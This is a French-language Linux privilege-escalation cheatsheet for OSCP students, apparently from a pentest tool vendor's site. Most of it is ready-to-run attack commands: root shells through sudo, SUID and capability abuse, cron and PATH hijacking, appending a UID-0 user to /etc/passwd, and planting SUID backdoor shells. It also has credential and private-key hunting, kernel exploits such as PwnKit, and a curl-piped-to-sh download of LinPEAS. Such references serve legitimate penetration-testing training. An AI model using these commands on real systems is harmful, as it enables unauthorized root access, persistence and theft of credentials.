Élévation de privilèges Linux — Cheatsheet 2026

80+ techniques pour passer d'un shell à faibles privilèges à root. Énumération, sudo, SUID/SGID, capabilities, cron, PATH hijacking, exploits noyau et outils automatisés — la référence des étudiants OSCP.

Dernière mise à jour :

Débutant ? Lisez notre guide complet pour débuter et situez l'élévation de privilèges dans la méthodologie globale.

Navigation rapide

01 Énumération 02 Droits sudo 03 SUID / SGID 04 Capabilities 05 Tâches cron 06 PATH Hijacking 07 Identifiants & fichiers 08 NFS Root Squash 09 Exploits noyau 10 Outils automatisés

# Énumération initiale

L'élévation de privilèges, c'est 90 % d'énumération. Recueillez le contexte avant tout exploit : qui vous êtes, ce que vous pouvez exécuter, à quoi ressemble le système.

id && whoami && groups
Utilisateur courant, UID/GID et groupes (repérez adm, docker, lxd, disk)
uname -a; cat /etc/os-release
Version du noyau et distribution — nécessaire pour cibler les exploits noyau
sudo -l
Lister les commandes exécutables en root — la vérification la plus importante
find / -perm -4000 -type f 2>/dev/null
Trouver tous les binaires SUID — à recouper avec GTFOBins
getcap -r / 2>/dev/null
Lister les fichiers avec des capabilities définies
cat /etc/crontab; ls -la /etc/cron.*
Tâches planifiées — repérez les scripts root modifiables
ps aux | grep -i root
Processus tournant en root — services potentiellement exploitables
netstat -tulpn 2>/dev/null || ss -tulpn
Services internes liés à localhost — souvent non protégés

# Exploitation de sudo

Après sudo -l, recoupez chaque binaire autorisé avec GTFOBins. Beaucoup d'outils courants ouvrent un shell root via sudo.

sudo vim -c ':!/bin/sh'
Shell root via vim si vous pouvez sudo vim
sudo find . -exec /bin/sh \; -quit
Shell root via find
sudo awk 'BEGIN {system("/bin/sh")}'
Shell root via awk
sudo env /bin/sh
Shell root via env
sudo -u#-1 /bin/bash
CVE-2019-14287 — contourner la restriction sudo « ALL, !root »
💡 Astuce : Vérifiez la version de sudo : sudo --version. Les versions < 1.9.5p2 sont vulnérables à Baron Samedit (CVE-2021-3156), un dépassement de tas donnant root instantanément.

# Binaires SUID / SGID

Un binaire SUID s'exécute avec les droits de son propriétaire (souvent root), peu importe qui le lance. Énumérez, puis exploitez via la section « SUID » de GTFOBins.

find / -perm -4000 -type f 2>/dev/null
Tous les binaires SUID
find / -perm -2000 -type f 2>/dev/null
Tous les binaires SGID
./bash -p
Si bash est SUID : -p préserve les privilèges → shell root
find /tmp -exec /bin/sh -p \; -quit
Exploiter find SUID en conservant le shell privilégié (-p)
cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash
Si vous êtes déjà root : déposer une backdoor shell SUID

# Capabilities Linux

Les capabilities accordent des morceaux de pouvoir root à des binaires précis. cap_setuid est le jackpot.

getcap -r / 2>/dev/null
Lister récursivement les fichiers avec capabilities
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
Si python3 a cap_setuid+ep → shell root immédiat
/usr/bin/perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/sh";'
Si perl a cap_setuid+ep → shell root

# Tâches cron

Les scripts planifiés appartenant à root que vous pouvez modifier — ou qui utilisent des wildcards exploitables — sont un chemin classique vers root.

cat /etc/crontab; ls -la /etc/cron.d /etc/cron.daily
Lister les tâches cron système et leurs scripts
grep -rl "" /etc/cron* 2>/dev/null | xargs ls -la 2>/dev/null
Vérifier les permissions de chaque script cron — l'un est-il modifiable par tous ?
echo 'cp /bin/bash /tmp/rb; chmod +s /tmp/rb' >> /chemin/cron_modifiable.sh
Injecter une backdoor SUID dans un script cron root modifiable
💡 Injection wildcard : un cron lançant tar czf backup.tar.gz * dans un dossier modifiable peut être détourné en créant des fichiers nommés comme des options tar (ex. --checkpoint-action=exec=sh rootshell.sh).

# PATH Hijacking

Quand un programme privilégié appelle une commande sans chemin absolu, vous contrôlez quel binaire s'exécute réellement.

strings /chemin/binaire_suid | grep -iE 'service|cp|cat|sh|system'
Repérer les appels de commande relatifs dans un binaire SUID
echo '/bin/bash -p' > /tmp/service; chmod +x /tmp/service
Créer un binaire malveillant au nom de la commande appelée
export PATH=/tmp:$PATH; /chemin/binaire_suid
Placer votre dossier en tête du PATH puis déclencher le binaire → votre code s'exécute en root

# Identifiants & fichiers sensibles

Mots de passe en dur, clés privées et /etc/passwd modifiable se trouvent sur plus de machines qu'on ne le croit.

grep -rniE 'password|passwd|secret|api_key' /var/www /home /opt 2>/dev/null
Chercher des identifiants en dur dans les configs et le code source
find / -name id_rsa 2>/dev/null; find / -name '*.kdbx' 2>/dev/null
Localiser les clés SSH privées et les bases KeePass
ls -l /etc/passwd
Si /etc/passwd est modifiable → ajouter un utilisateur root
openssl passwd -1 -salt x hacked
Générer un hash de mot de passe à injecter dans /etc/passwd
echo 'root2:HASH:0:0:root:/root:/bin/bash' >> /etc/passwd; su root2
Ajouter un utilisateur UID 0 avec un mot de passe connu, puis basculer dessus
cat ~/.bash_history; sudo cat /var/mail/root 2>/dev/null
Historiques et boîtes mail laissent souvent fuiter des secrets

# Mauvaise config NFS Root Squash

Un partage NFS exporté avec no_root_squash vous permet d'écrire des fichiers en tant que root depuis une machine que vous contrôlez.

cat /etc/exports; showmount -e CIBLE
Lister les exports NFS — chercher no_root_squash
mount -o rw CIBLE:/share /mnt/nfs
Monter le partage vulnérable depuis votre machine d'attaque (en root)
cp /bin/bash /mnt/nfs/rootbash; chmod +s /mnt/nfs/rootbash
Déposer un shell root SUID dans le partage, puis l'exécuter sur la cible

# Exploits noyau (dernier recours)

À utiliser seulement après avoir épuisé les mauvaises configs — ils peuvent planter la cible. Faites toujours correspondre le noyau exact de uname -r.

ExploitCVEConcerné
DirtyPipeCVE-2022-0847Noyau 5.8 – 5.16.11
DirtyCowCVE-2016-5195Noyau 2.6.22 – 4.8.3
PwnKit (polkit)CVE-2021-4034La plupart des distros avant 2022
Baron SameditCVE-2021-3156sudo < 1.9.5p2
searchsploit linux kernel $(uname -r | cut -d- -f1)
Trouver des exploits publics correspondant au noyau en cours
./PwnKit
PwnKit (CVE-2021-4034) — root local quasi universel sur systèmes non patchés

# Outils d'énumération automatisés

Automatisez les parties fastidieuses — mais comprenez chaque résultat. À l'examen OSCP, les outils automatisés sont limités : la maîtrise manuelle compte.

curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
LinPEAS — énumération privesc colorée (exécution en mémoire, sans écriture disque)
./linenum.sh -t
LinEnum — script d'énumération classique et exhaustif
./pspy64
pspy — observer processus et cron en temps réel sans être root
python3 linux-exploit-suggester.py
Suggérer des exploits noyau selon la version en cours

❓ FAQ élévation de privilèges Linux

Par l'énumération. Commencez par id, sudo -l, uname -a et la recherche SUID (find / -perm -4000). LinPEAS aide, mais l'énumération manuelle est indispensable pour l'examen OSCP.

Lancez sudo -l et recoupez chaque binaire autorisé avec GTFOBins. Beaucoup (vim, find, awk, python) ouvrent un shell root via sudo. Vérifiez aussi la version pour CVE-2021-3156.

Un binaire SUID s'exécute avec les droits de son propriétaire (souvent root). Trouvez-les avec find / -perm -4000 2>/dev/null, puis consultez GTFOBins pour la méthode d'exploitation SUID du binaire.

Elles découpent le pouvoir root en unités fines. Listez-les avec getcap -r / 2>/dev/null. Les plus dangereuses comme cap_setuid sur python ou perl permettent de devenir root directement.

Vérifiez /etc/crontab pour des scripts root. Si un script planifié est modifiable, ou utilise un chemin relatif ou wildcard que vous contrôlez, vous pouvez injecter des commandes exécutées en root.

Si un binaire SUID ou un script cron appelle une commande sans chemin absolu, placez un binaire malveillant de ce nom plus tôt dans $PATH. Quand root exécute le programme, votre binaire s'exécute en root.

Uniquement en dernier recours — ils peuvent planter la cible. Épuisez d'abord les chemins de mauvaise config (sudo, SUID, cron), et faites correspondre le noyau exact de uname -a avant de compiler un exploit.

LinPEAS est un script d'énumération automatisée qui met en évidence les vecteurs privesc, colorés selon leur probabilité. Lancez ./linpeas.sh et examinez les résultats rouges/jaunes. Il complète — sans la remplacer — l'énumération manuelle.

📚 Ressources liées

Rapport de pentest assisté par IA

Transformez vos résultats privesc en rapport PDF professionnel. L'IA remplit CVE, CVSS et sévérité.

Essayer gratuitement →

Envie des 12 020+ commandes ?

Cette cheatsheet privesc n'est qu'une branche de la carte. Pentest Mindmap organise 12 020+ commandes en 34 catégories — de la recon à la post-exploitation — avec recherche instantanée et copie en un clic.

Commencer gratuitement →